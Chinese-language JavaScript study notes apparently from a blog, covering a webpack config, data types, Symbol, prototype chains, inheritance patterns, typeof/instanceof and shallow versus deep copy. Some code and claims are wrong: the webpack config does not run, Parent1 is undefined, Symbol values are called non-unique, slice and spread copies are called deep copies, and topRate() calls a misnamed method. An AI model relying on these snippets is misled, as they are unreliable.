    45
    'use strict'
    const path = require('path')
    const webpack = require('webpack')
    const HtmlWebpackPlugin = require('html-webpack-plugin')
    const merge = require('webpack-merge')
    const utils = require('./utils')

    var config = {
    // 入口
    entry: {
    app: './src/main.js'
    },
    // 出口
    output: {
    path: config.build.assetsRoot,
    filename: '[name].js',
    publicPath: process.env.NODE_ENV === 'production'
    ? config.build.assetsPublicPath
    : config.dev.assetsPublicPath
    },
    // 加载器配置(需要加载器转化的模块类型)
    module: {
    rules: [
    {
    test: '/\.css$/',
    use: [ 'style-loader', 'css-loader' ]
    }
    ]
    }
    // 插件
    plugins: [
    new webpack.DefinePlugin({
    'process.env': require('../config/dev.env')
    }),
    new webpack.HotModuleReplacementPlugin(),
    new HtmlWebpackPlugin({
    filename: 'index.html',
    template: 'index.html',
    inject: true
    }),
    ]

    }

    module.exports = config

    一个相对比较全面的配置主要包含五个部分: 入口,出口,加载器,插件,模式。分别指定了开始读取文件的位置,编译后输出文件的路径,ES6语法转化加载器,更复杂功能的插件以及指定执行的环境变量。

  1. 区别
    gulpgrunt 是流管理工具,通过一个个task配置执行用户需要的功能,如格式检验,代码压缩等,值得一提的是,经过这两者处理的代码只是局部变量名被替换简化,整体并没有发生改变,还是你的代码。

webpack 则进行了更彻底的打包处理,更加偏向对模块语法规则进行转换。主要任务是突破浏览器的鸿沟,将原本浏览器不能识别的规范和各种各样的静态文件进行分析,压缩,合并,打包,最后生成浏览器支持的代码,因此,webapck 打包过后的代码已经不是你写的代码了,或许你再去看,已经看不懂啦!


JavaScript的数据类型(按存储方式区分):

  1. 五种基本数据类型(值类型):NullUndefinedBooleanStringNumber,是不可拆分的数据类型,存在于中。

    1
    2
    3
    4
    var a = 100;
    var b = a;
    b = 200;
    console.log(a); // 100
  2. 一种复杂数据类型(引用类型):统称 Object ,包括ObjectArrayFunctionDateRegExpStringBooleanError和自定义类,也就是通常意义上所说的,存在于中,引用类型会共用存储空间。

    1
    2
    3
    4
    var a = {age: 18};
    var b = a;
    b.age = 20;
    console.log(a.age); // 20
  3. ES6新增一种Symbol类型

    参考:http://es6.ruanyifeng.com/#docs/symbol

    值不唯一,通常用作对象的“键”值或私有属性

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    Symbol() // Symbol()
    typeof Symbol() // 'symbol'

    Symbol() === Symbol() // false
    // 为了做区分,可设置一个参数作为描述
    Symbol('ZhangSan') === Symbol('LiSi') // false

    // 属性
    Symbol().description // undefined
    Symbol('ZhangSan').description // ZhangSan

    // 方法:
    Symbol().toString() // "Symbol()"
    String(Symbol()) // "Symbol()"
    Boolean(Symbol()) // true
    Number(Symbol()) // TypeError: Cannot convert a Symbol value to a number

    设置对象Symbol属性的方法,同样适用于普通对象:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    const sys = Symbol()

    // 第一种
    let a = {}
    a[sys] = 'Hello, Symbol'

    // 第二种
    let b = {
    [sys]: 'Hello, Symbol'
    }

    // 第三种
    let c = {}
    Object.defineProperty(c, sys, { value: 'Hello, Symbol' })

    console.log(a[sys], b[sys], c[sys]) // 都输出:'Hello, Symbol'
    // 注意:不用使用a.sys来获取值,因为点运算符后面总是字符串

    例如,一个班级下有很多学生,数据结构如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    const classRoom = {
    'Lily': [1, 18, 'BeiJing'], // id、age、address
    'Mary': [2, 19, 'ShangHai'],
    'Lily': [3, 20, 'TianJin']
    }
    /*
    Lily: (3) [3, 20, "TianJin"]
    Mary: (3) [2, 19, "ShangHai"]
    */

    输出时发现后面的Lily把前面的覆盖了,这个时候我们可以使用Symbol来改写

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    const classRoom = {
    [Symbol('Lily')]: [1, 18, 'BeiJing'], // id、age、address
    [Symbol('Mary')]: [2, 19, 'ShangHai'],
    [Symbol('Lily')]: [3, 20, 'TianJin']
    }
    /*
    Symbol(Lily): (3) [1, 18, "BeiJing"]
    Symbol(Mary): (3) [2, 19, "ShangHai"]
    Symbol(Lily): (3) [3, 20, "TianJin"]
    */

    Symbol 作为键值创建的对象是不可遍历的,没有 forfor...infor...of 等方法,也不会被 Object.keys()Object.getOwnPropertyNames()JSON.stringify() 返回。

    但是,它也不是私有属性,有一个 Object.getOwnPropertySymbols() 方法,可以获取指定对象的所有 Symbol 属性名。该方法返回一个数组,成员是当前对象的所有用作属性名的 Symbol 值。

    以上面的classRoom为例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    const sysArr = Object.getOwnPropertySymbols(classRoom)
    console.log(sysArr)
    // [Symbol(Lily), Symbol(Mary), Symbol(Lily)]

    const classRoomArr = sysArr.map(sys => classRoom[sys])
    console.log(classRoomArr)
    /*
    输出一个二维码数组
    0: (3) [1, 18, "BeiJing"]
    1: (3) [2, 19, "ShangHai"]
    2: (3) [3, 20, "TianJin"]
    */

JavaScript三大对象

  1. 本地对象,如 ObjectArrayFunctionDateRegExpStringBooleanError

    • 这些引用类型在运行过程中需要通过 new 来创建所需的实例对象。
  2. 内置对象,如 GlobalMath、(JSON)

    • 在 ECMAScript 程序开始执行前就存在,本身就是实例化内置对象,开发者无需再去实例化。
    • 内置对象是本地对象的子集。
  3. 宿主对象

    • 对于嵌入到网页中的JS来说,其宿主对象就是浏览器提供的对象,浏览器对象有很多,如 WindowDocument 等。
    • 所有的 DOMBOM 对象都属于宿主对象。

强制(显式)类型转换和隐式类型转换

强制(显式)类型转换

  1. 调用方法

    • 转换成字符串 toString
    • 转换成数字 parseInt、parseFloat
  2. 调用构造函数

    • Number()
    • Boolean()
    • String()

隐式类型转换

不同类型的变量比较要先转类型,叫做类型转换,类型转换也叫隐式转换。
隐式转换通常发生在运算符加减乘除,等于,还有小于,大于等。

  1. 四则运算

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    1 + '2' = 12; // 数字会先转换成字符串
    6 / '2' = 3;
    '6' / 2 = 3;

    2 - '1' = 1; // 字符串会先转换成数字
    '2' - 1 = 1;
    2 * '3' = 6;

    1 + true = 2;
    1 + false = 1;
    1 + undefined = NaN;
    1 + null = 1;

    10 && 0; // 0
    '' || 'abc'; // abc
    !window.abc; // true

    undefined == null; // true
    null == false; // true
    undefined == false; // true
    '0' == 0; // true
    0 == false; // true
    '0' == false; // true

    // 拓展:判断一个变量会被当做 true 还是 false
    var a = 100;
    console.log(!!a);
  2. 判断语句
    if 语句其中的判断条件会进行类型的转换

    1
    2
    3
    if (some) {}
    // 等效于
    if (Boolean(some)) {}

原型链

创建对象的几种方式

1、字面量法

1
var o1 = {name: 'o1'};

2、构造函数法(构造函数首字母大写)

1
2
3
4
5
6
7
8
var o2 = new Object({name: 'o2'});


var M = function (name) {
this.name = name;
// return this // 默认有这一行
};
var o3 = new M('o3'); // 实例

3、Object.create()法

1
var o4 = Object.create({name: 'o4'});

以上的运行结果如下:

我们看到o3和o4的运行结果有些不一样,o3前面的M表示构造函数,o4却不显示属性

但是运行o4.name发现其实是有值的,具体原因参考:leijee blog

1其实是2的一个语法糖,如果要创建一个空对象

1
2
3
4
var o1 = {};
var o2 = new Object();
var o3 = Object.create({});
var o4 = Object.create(null);

只有o4是没有 __proto__ 属性的,它没有继承 Object.prototype 原型链上的属性或者方法,例如:toString(), hasOwnProperty()等方法

构造函数扩展

  1. var arr = [] 其实是 var a = new Array() 的语法糖;
  2. var obj = {} 其实是 var a = new Object() 的语法糖;
  3. function Foo(){} 其实是 var Foo = new Function(){} 的语法糖;

即 arr 的构造函数是 Array, obj 的构造函数是 Object,Foo 的构造函数是 Function

原型规则

  • 规则1:所有的引用类型(数组、对象、函数),都具有对象特性,可自由扩展属性(null 除外)

    1
    2
    3
    4
    5
    6
    7
    8
    var obj = {};
    obj.a = 100; // {a: 100}

    var arr = [];
    arr.a = 100; // [a: 100]

    function fn(){};
    fn.a = 100;
  • 规则2:所有的引用类型(数组、对象、函数),都有一个 __proto__ (隐式原型) 属性,属性值是一个普通的对象

    1
    2
    3
    console.log(obj.__proto__);
    console.log(arr.__proto__);
    console.log(fn.__proto__);

    结果如下图:

  • 规则3:所有的函数,都有一个 prototype (显示原型) 属性,属性值是一个普通的对象

    1
    console.log(fn.prototype); // {constructor: ƒ}
  • 规则4:所有的引用类型(数组、对象、函数),__proto__ (隐式属性) 属性值指向它的构造函数的 prototype (显示原型) 属性值

    1
    2
    3
    console.log(obj.__proto__ === Object.prototype); // true
    console.log(arr.__proto__ === Array.prototype); // true
    console.log(fn.__proto__ === Function.prototype); // true
  • 规则5:当试图得到一个对象的某个属性时,如果这个对象本身没有这个属性,那么会去它的 __proto__(即它的构造函数的 prototype)中去寻找,如果一层没有找到,就继续往上查找,一直到 Object.prototype 为止。因为 Object.prototype 等于 null 会自动停止。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    // 构造函数
    function Foo(name, age) {
    this.name = name;
    }
    // 扩展属性(规则1)
    Foo.prototype.alertName = function () {
    alert(this.name);
    };

    // 创建一个实例f
    var f = new Foo('zhangsan');
    // 扩展属性(规则1)
    f.printName = function () {
    console.log(this.name);
    };

    // 测试
    f.printName();
    f.alertName(); // (规则5)
    // f本身没有 alertName 属性,它会去它自身的隐式原型 即f.__proto__ (也即是它的构造函数的显示原型 Foo.prototype)中去寻找这个属性


    f.toString(); // (规则5)
    // f本身没有 toString 属性,它会去它自身的隐式原型 即f.__proto__ (也即是它的构造函数的显示原型 Foo.prototype)中去寻找这个属性

    // 但是 Foo.prototype 中并没有找到这个属性,但是因为 Foo.prototype 本身也是一个对象,所以会继续向上寻找。
    // 即f.__proto__.__proto__(也即是Foo.prototype.__proto__,也即是Foo.prototype 的构造函数Object.prototype中查找)

    // 最终发现了toString

    f.abc();
    // 直到Object.prototype.__proto__ = null,也没有找到abc属性,即停止。

    f.__proto__ === Foo.prototype; // true
    f.__proto__.__proto__ === Foo.prototype.__proto__; // true
    Foo.prototype.__proto__ === Object.prototype; // true
    f.__proto__.__proto__ === Object.prototype; // true

循环对象自身的属性

对于上例,循环f自身的属性:

1
2
3
4
5
6
7
8
for (let item in f) {
if (f.hasOwnProperty(item)) {
console.log(item);
}
}

// name
// printName

instanceof

1
2
3
4
5
6
7
f instanceof Foo; // f是否是Foo的一个实例

// 判断逻辑是:
// f的 __proto__ 一层一层往上,能否对应到 Foo.prototype,结果为true

// 同理:
f instanceof Object; // f是否是Object的一个实例,结果为true

构造函数、原型对象、实例、原型链关系网

关系网如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var M = function (name) {
this.name = name;
}; // 构造函数

var o3 = new M('o3'); // 实例o3
var o4 = new M('o4'); // 实例o4

// M: 是一个构造函数,任何普通函数在使用new运算符之后都变成构造函数
// o3、o4: 实例
// M.prototype: 原型对象
// M.prototype.constructor: 原型对象的构造器,M.prototype.constructor === M
// o3.__proto__: 实例的__prto__属性,o3.__proto__ === M.prototype


// 实际上函数也有__proto__属性,M.__proto__ === Function.prototype,这个逻辑说明M构造函数是Function的一个实例

面试题:写一个原型链继承的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 父类
function A() {
this.name = 'test name';
}
A.prototype.getName = function() {
return this.name;
}


// 子类B
function B() {
this.age = 12;
}
// B继承A
B.prototype = new A();
B.prototype.getAge = function() {
return this.age;
}


// 子类C
function C() {
this.sex = 'male';
}
// C继承B
C.prototype = new B();
C.prototype.getSex = function() {
return this.sex;
}


// 创建实例(abc是C的实例,C继承B,B继承A,所以abc可以调用A、B、C的方法)
var abc = new C();

console.log(abc.getSex()); // male
console.log(abc.getAge()); // 12
console.log(abc.getName()); // test name

打印 console.dir(abc);


从图中我们可以看出,通过 prototype 扩展的属性会挂载在 __proto__ 属性下,通过 hasOwnProperty 方法可过滤扩展的属性

1
2
abc.hasOwnProperty('sex'); // true
abc.hasOwnProperty('getSex'); // false

我们可以打印一下隐式原型 __proto__ 和显式原型 prototype 的关系图

打印 console.log(abc.prototype),输出为 undefined,我们可以知道,实例是没有 prototype 属性的

面试题:写一个实际应用中使用原型链的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// 实现类似jquery html()和on(event, fn)方法
function Elem(id) {
this.elem = document.getElementById(id);
}

// 扩展一个设置html内容的方法
Elem.prototype.html = function(val) {
var elem = this.elem;
if(val) {
elem.innerHTML = val;
return this; // 链式操作
} else {
return elem.innerHTML;
}
}

// 扩展一个事件绑定的方法
Elem.prototype.on = function(type, fn) {
var elem = this.elem;
elem.addEventListener(type, fn);
return this; // 链式操作
}


var div1 = new Elem('div1');
// console.log('div1');
div1.html('<p>hello word</p>'); // 设置html内容
div1.on('click', function() { // 绑定一个点击事件
alert('clicked');
});

// 我们在扩展html方法的时候写了一个 return this返回这个实例,就可以实现类似jquery链式操作的功能
div1.html('<p>hello word</p>').on('click', function() { // 绑定一个点击事件
alert('clicked');
});
// 因为我们在每个扩展的方法里面都写了一个return this,所以链式操作的顺序可以调换

// 甚至我们可以重复调用多次扩展的方法
div1.html('<p>hello word</p>').html('<p>Hello Word</p>');

面试题:描述 new 一个对象的过程

1
2
3
4
5
6
function Foo(name, age) {
this.name = name;
this.age = age;
// return this;
}
var f = new Foo('zhangsan', 18);
  1. 创建一个对象f
  2. this 指向这个新对象
  3. 执行代码,即对 this 赋值
  4. 返回 this,内部会有一句默认的 return this

面向对象

ECMAScript中有两种开发模式:函数式编程和面向对象(OOP)。

什么是面向对象

面向对象只是过程式代码的一种高度封装,目的在于提高代码的开发效率和可维护性。

它将真实世界各种复杂的关系,抽象为一个个对象,然后由对象之间的分工与合作,完成对真实世界的模拟。
在面向对象程序开发思想里,每一个对象都是功能中心,具有明确的分工。
因此面向对象具有:灵活、代码可复用、高度模块化等特点,容易维护和开发。

面向对象语言有一个标志–类,通过类可以创建任意个具有相同属性和方法的对象。

定义类

  1. ES5

    1
    2
    3
    4
    5
    function Animal(name) {
    this.name = name;
    }

    new Animal('dog'); // Animal {name: "dog"} 注:如果不传参数时,括号可省略
  2. ES6 class

    1
    2
    3
    4
    5
    6
    7
    class Animal2 {
    constructor(name) {
    this.name = name;
    }
    }

    new Animal2('cat'); // Animal2 {name: "cat"}

ES5继承

1、借助构造函数实现简单继承

只能继承构造函数里面的属性和方法,不能继承原型链(proto)上的属性和方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function Parent(name) {
this.name = name
this.run = function () {
console.log(`${this.name} is running`)
}
}
Parent.prototype.work = function () {
console.log(`${this.name} is working`)
}

function Child(name){
Parent1.call(this, name) // 也可使用apply
}

var c1 = new Child('Zhangsan')
console.log(c1.name) // Zhangsan
c1.run() // Zhangsan is running
c1.work() // Error

2、借助原型链实现继承

能继承构造函数 和 原型链上的属性和方法,但是无法传参
对于引用类型(如数组),多个实例共用地址,修改其中一个,其他的也会跟着改变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function Parent(name) {
this.name = name
this.flag = false
this.values = [1, 2, 3]
this.run = function () {
console.log(`${this.name} is running`)
}
}
Parent.prototype.work = function () {
console.log(`${this.name} is working`)
}

function Child(){}
Child.prototype = new Parent()

var c2 = new Child('Zhangsan')
var c3 = new Child('Lisi')
console.log(c2.name) // undefined
c2.run() // undefined is running
c2.work() // undefined is working

c2.flag = true
c2.values.push(4)
console.log(c2.flag, c3.flag) // true、false
console.log(c2.values, c3.values) // [1, 2, 3, 4]、[1, 2, 3, 4],对于引用类型,多个实例共用地址

// 原型链解释:
// 调用name、run()、work()时,先查找实例c2自身的属性和方法,没有查到。
// 就去查找实例的构造函数的prototype(即Child2.prototype,也即是c2.__proto__),找到了name、run()
// 继续向下插槽Parent2.prototype(即c2.__proto__),找到了work()

3、组合方法(构造函数 + 原型链)

能继承构造函数 和 原型链上的属性和方法,也可以传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function Parent(name) {
this.name = name
this.value = [1, 2, 3]
this.run = function () {
console.log(`${this.name} is running`)
}
}
Parent.prototype.work = function () {
console.log(`${this.name} is working`)
}

function Child(name){
Parent.call(this, name)
}
Child.prototype = new Parent()

var c1 = new Child('Zhangsan')
var c2 = new Child('Lisi')
console.log(c1.name) // Zhangsan
c1.run() // Zhangsan is running
c1.work() // Zhangsan is working
c1.value.push(4);
console.log(c1.value, c2.value); // [1, 2, 3, 4]、[1, 2, 3]

// 这种组合方式有一个弊端:
// 执行Parent.call的时候父类构造函数会执行一次,每次实例化的时候又会执行一次,造成内存浪费
// 本例中Parent共被执行三次

4、组合方法优化1(构造函数 + 原型链)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function Parent(name) {
this.name = name
this.value = [1, 2, 3]
this.run = function () {
console.log(`${this.name} is running`)
}
}
Parent.prototype.work = function () {
console.log(`${this.name} is working`)
}

function Child(name){
Parent.call(this, name)
}
Child.prototype = Parent.prototype

var c1 = new Child('Zhangsan')
var c2 = new Child('Lisi')
console.log(c1.name) // Zhangsan
c1.run() // Zhangsan is running
c1.work() // Zhangsan is working
c1.value.push(4);
console.log(c1.value, c2.value); // [1, 2, 3, 4]、[1, 2, 3]

// 新问题:我们无法判断 `c1` 是 `Child` 的实例还是 `Parent` 的实例
console.log(c1 instanceof Child); // true
console.log(c1 instanceof Parent); // true
console.log(c1.constructor);
/*
ƒ Parent(name) {
***
}
*/

5、组合方法优化2(构造函数 + 原型链)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function Parent(name) {
this.name = name
this.value = [1, 2, 3]
this.run = function () {
console.log(`${this.name} is running`)
}
}
Parent.prototype.work = function () {
console.log(`${this.name} is working`)
}

function Child(name){
Parent.call(this, name)
}
Child.prototype = Object.create(Parent.prototype)
// 该方法创建一个新对象,并使用现有的对象来提供新创建的对象的__proto__,可理解为浅拷贝
Child.prototype.constructor = Child;

var c1 = new Child('Zhangsan')
var c2 = new Child('Lisi')
console.log(c1.name) // Zhangsan
c1.run() // Zhangsan is running
c1.work() // Zhangsan is working
c1.value.push(4);
console.log(c1.value, c2.value); // [1, 2, 3, 4]、[1, 2, 3]

console.log(c1 instanceof Child); // true
console.log(c1 instanceof Parent); // true
console.log(c1.constructor);
/*
ƒ Child(name) {
***
}
*/

ES6 Class继承

类的申明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
let methodName = 'info'
class User {
constructor(name, email) {
this.name = name;
this.email = email
}

// 普通方法:只能通过实例来调用
// 也可以通过计算属性来定义
// [methodName]() {
info() {
console.log(`Hi, I'm ${this.name}, my email is ${this.email}`)
}

// 静态方法:只通过类来调用,不能通过实例来调用
// 类似于Array.from()方法,只能在Array原型上调用,而push方法可以在new Array()实例上调用
static description() {
console.log('I\'m a description')
}

set github(value) {
this.githubName = value
}

get github() {
return `https://github.com/${this.githubName}`
}
}

// 实例化
const codecasts = new User('codecasts', '111@codecasts.com');
const awesome = new User('awesome', '999@awesome.com');

codecasts.github = 'Pimi'
console.log(codecasts.github) // https://github.com/Pimi

类的继承

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 父类
class Animal {
constructor(name) {
this.name = name
this.belly = []
}

eat(food) {
this.belly.push(food)
}

speak() {
console.log(`Hi, I'm ${this.name}`)
}
}

// 子类
class Dog extends Animal{
constructor(name, age) {
super() // 非常重要
this.name = name
this.age = age
}

bark() {
console.log('Bark bark')
}

// 子类重写,会覆盖父类的方法
speak() {
console.log(`Bark bark, Hi, I'm ${this.name}`)
}
}

const lucky = new Dog('lucky', 2)

扩建Array

定义一个myArray类,完全继承Array

1
2
3
4
5
6
7
8
9
10
11
12
13
class myArray extends Array{
constructor() {
super()
}
}

const colors = new myArray()

colors[0] = 'red'
console.log(colors.length)

colors.length = 0
console.log(colors[0])

基于 Array 实现一个 MoviewCollection,第一个参数为一个特殊描述,后续为不定个数的统一数据结构的对象

1
2
3
4
5
6
const movies = new MoviewCollection('favorite movies',
{ name: 'The Croolds', scores: 8.7 },
{ name: 'The Shawshank Redemption', scores: 9.6 },
{ name: 'Leon', scores: 9.4 },
{ name: 'Days of Summer', scores: 8.0 },
)

实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class MoviesCollection extends Array{
constructor(desc, ...items) {
super(...items) // this指向的是实例
this.desc = desc
}

add(movie) {
this.push(movie)
}
}

const movies = new MoviesCollection('favorite movies',
{ name: 'The Croolds', scores: 8.7 },
{ name: 'The Shawshank Redemption', scores: 9.6 },
{ name: 'Leon', scores: 9.4 },
)

movies.push({ name: 'Last Day', scores: 7.0 })
/*
[
{name: "The Croolds", scores: 8.7},
{name: "The Shawshank Redemption", scores: 9.6},
{name: "Leon", scores: 9.4},
{name: "Last Day", scores: 9},
desc: "favorite movies"
]
*/

此外,我们还可以在子类中添加一个 TopRated 的方法,在 add 后面添加:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// limit表示取前几项排序
topRated(limit = 10) {
// 升序
return this.sort((a, b) => a.scores - b.scores).slice(0, limit)
// return this.sort((a, b) => (a.scores > b.scores) ? 1 : -1).slice(0, limit)

// 降序
// return this.sort((a, b) => b.scores - a.scores).slice(0, limit)
// return this.sort((a, b) => (b.scores > a.scores) ? 1 : -1).slice(0, limit)
}

movies.topRate()
/*
[
{name: "The Croolds", scores: 8.7},
{name: "Last Day", scores: 9},
{name: "Leon", scores: 9.4},
{name: "The Shawshank Redemption", scores: 9.6},
desc: 4
]
*/


typeof 和 instanceof

JavaScript常使用 typeofinstanceof 来判断一个变量是否为空或者是什么类型。

typeof

typeof的定义和用法:返回值是一个字符串,用来说明变量的数据类型。

  1. typeof 一般返回:undefinedbooleanstringnumberfunctionobject,注意不等同于js的基本类型
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    typeof undefined; // 'undefined'
    typeof true; // 'boolean'
    typeof 'abc'; // 'string'
    typeof 123; // 'number'
    typeof null; // 'object'
    typeof []; // 'object'
    typeof {}; // 'object'
    typeof new Set(); // 'object'
    typeof new Map(); // 'object'
    typeof Object; // 'funciton'
    typeof Array; // 'function'
    typeof function () {}; // 'function'
    typeof console.log; // 'function'
  1. 获取一个变量是否存在

    1
    if (typeof a !== 'undefined') {}

    而不要使用

    1
    if (a) {}

    a如果不存在(未申明)时会报错。

  2. 对于 Array, Null 等特殊对象使用 typeof 一律返回 object,这正是 typeof 的局限性,可以借助 instanceof

instanceOf

instanceof定义和用法:instanceof 用于判断一个变量是否属于某个对象的实例。
注:不能检测 nullundefined

1
a instanceof b; // a是b的实例
1
2
3
var a = new Array(); 
console.log(a instanceof Array); // true
console.log(a instanceof Object); // true,因为数组是对象的实例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = '123'
console.log(a instanceof String) // false
// 虽然类型为string,但是并不是String对象,没有创建实例

var b = new String()
console.log(b instanceof String) // true

// 拓展:
var str1 = '123'
var str2 = new String('123') // String {"123"}
var str3 = String('123')
console.log(typeof str1) // 'string', 基本类型
console.log(typeof str2) // 'object', 引用类型
console.log(typeof str3) // 'string', 基本类型
console.log(str1 === str2) // false
console.log(str1 === str3) // true
1
2
3
function test(){};
var a = new test(); // a是一个实例
console.log(a instanceof test); // true
1
2
null instanceof Null; // Uncaught ReferenceError: Null is not defined
undefined instanceof Undefined; // Uncaught ReferenceError: Undefined is not defined

js检测一个变量是String类型

  1. es5方法

    • 方法1:typeof

      1
      2
      3
      function isString(str) {
      return typeof str === 'string';
      }
    • 方法2:constructor

      1
      2
      3
      4
      function isString(str) {
      // return str.constructor === String;
      return str.__proto__.constructor === String;
      }
    • 方法3:Object.prototype.toString.call

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      function isString(str) {
      return Object.prototype.toString.call(str) === '[object String]';
      }

      // 拓展:
      Object.prototype.toString.call(1); // '[object Number]'
      Object.prototype.toString.call(''); // '[object String]'
      Object.prototype.toString.call([]); // '[object Array]'
      Object.prototype.toString.call({}); // '[object Object]'
      Object.prototype.toString.call(true); // '[object Boolean]'
      Object.prototype.toString.call(null); // '[object Null]'
      Object.prototype.toString.call(undefined); // '[object Undefined]'
      Object.prototype.toString.call(function(){}); // '[object Function]'
      Object.prototype.toString.call(new Date()); // '[object Date]'
      Object.prototype.toString.call(new RegExp()); // '[object RegExp]'
      Object.prototype.toString.call(new Error()); // '[object Error]'

js检测一个变量是Array类型

  1. es5方式

    • 方法1:instanceof

      1
      2
      3
      function isArray(arr) {
      return arr instanceof Array;
      }
    • 方法2:constrctor

      1
      2
      3
      4
      function isArray(arr) {
      // return arr.constructor === Array;
      return arr.__proto__.constructor === Array;
      }
    • 方法3:Object.prototype.toString.call(推荐使用此方法)

      1
      2
      3
      function isArray(arr) {
      return Object.prototype.toString.call(arr) === '[object Array]';
      }
    • 方法4:Object.getPrototypeOf()

      1
      2
      3
      function isArray(arr) {
      return Object.getPrototypeOf(arr) === Array.prototype;
      }
    • 方法5:Array.prototype.isPrototypeOf()

      1
      2
      3
      function isArray(arr) {
      return Array.prototype.isPrototypeOf(arr);
      }

    注:实际上,除了 Object.prototype.toString.call 这个方法,其余的方法并不绝对正确。如下,使用其他四种方法输出的都是 true

    1
    2
    3
    var a = {
    __proto__: Array.prototype
    };

    我们只是手动指定了某个对象的 __proto__ 属性为 Array.prototype,便导致了该对象继承了 Array 对象,这种毫不负责任的继承方式,使得基于继承的判断方案瞬间土崩瓦解。

    参考:简书 判断变量是否为数组

  2. es6方式

    • 方法1:isArray方法
      1
      2
      3
      function isArray(arr) {
      return Array.isArray(arr);
      }

null 和 undefined的区别

  1. 实例

    1
    2
    console.log(null == undefined); // true
    console.log(null === undefined); // false
  2. 定义:

    • null: Null类型,代表“空值”,代表一个空对象指针,不指向任何对象地址。
    • undefined: Undefined类型,当一个声明了一个变量未初始化时,得到的就是 undefined
  3. 何时使用 null ?
    当使用完一个比较大的对象时,需要对其进行释放内存时,设置为null,这样方便垃圾回收。


js浅拷贝和深拷贝(针对引用类型数据Object)

  1. 浅拷贝:重新在堆内存中开辟一个空间,拷贝后新对象获得独立的基本数据类型数据,和原对象共用引用类型数据。
    浅拷贝的表现

    1
    2
    3
    4
    var arr1 = [1, 2, 3];
    var arr2 = arr1;
    arr1.push(4);
    console.log(arr1, arr2); // [1, 2, 3, 4]、[1, 2, 3, 4]
  2. 深拷贝:将数据的基本数据类型和引用类型都拷贝一份,在内存中存在两个数据结构完全相同但是又互相独立的数据。
    深拷贝的实现方式

    • 简单引用类型(数组)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      // slice、concat、push、unshift、map、forEach、Array.from、Array.of、...运算符、数组解构等
      // 都只能实现简单引用类型的拷贝


      // case1: slice
      // 深拷贝
      var arr1 = [1, 2, 3];
      var arr2 = arr1.slice();
      // var arr2 = arr1.concat([])
      arr1.push(4);
      console.log(arr1, arr2); // [1, 2, 3, 4]、[1, 2, 3]

      // 浅拷贝
      var arr1 = [{a: 1}, {a: 11}];
      var arr2 = arr1.slice();
      // var arr2 = arr1.concat([])
      arr1[0].a = 111;
      console.log(arr1, arr2); // [{a: 111}, {a: 11}]、[{a: 111}, {a: 11}]


      // case2: Array.form
      // 深拷贝
      var arr1 = [1, 2, 3];
      var arr2 = Array.from(new Set(arr1));
      // var arr2 = Array.of(...arr1);
      arr1.push(4);
      console.log(arr1, arr2);

      // 浅拷贝
      var arr1 = [{a: 1}, {a: 11}];
      var arr2 = Array.from(new Set(arr1));
      // var arr2 = Array.of(...arr1);
      arr1[0].a = 111;
      console.log(arr1, arr2);


      // case3: ...运算符
      // 深拷贝
      var arr1 = [1, 2, 3];
      var arr2 = [...arr1];
      // var arr2 = new Array(...arr1);
      // var [...arr2] = arr1;
      arr1.push(4);
      console.log(arr1, arr2);

      // 浅拷贝
      var arr1 = [{a: 1}, {a: 11}];
      var arr2 = [...arr1];
      // var arr2 = new Array(...arr1);
      // var [...arr2] = arr1;
      arr1[0].a = 111;
      console.log(arr1, arr2);
    • 简单引用类型(对象)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      // 深拷贝
      // Object.assign 只能实现简单引用类型的深拷贝
      var obj1 = {a: 1, b: 2}
      var obj2 = Object.assign({}, obj1)
      obj1.c = 3
      console.log(obj1, obj2) // {a: 1, b: 2, c: 3}、{a: 1, b: 2}

      // 浅拷贝
      var obj1 = {a: {age: 20}}
      var obj2 = Object.assign({}, obj1)
      obj1.a.age = 30
      console.log(obj1, obj2) // {a: {age: 30}}、{a: {age: 30}}
      // 注意,如果是新增属性则不会影响源数据
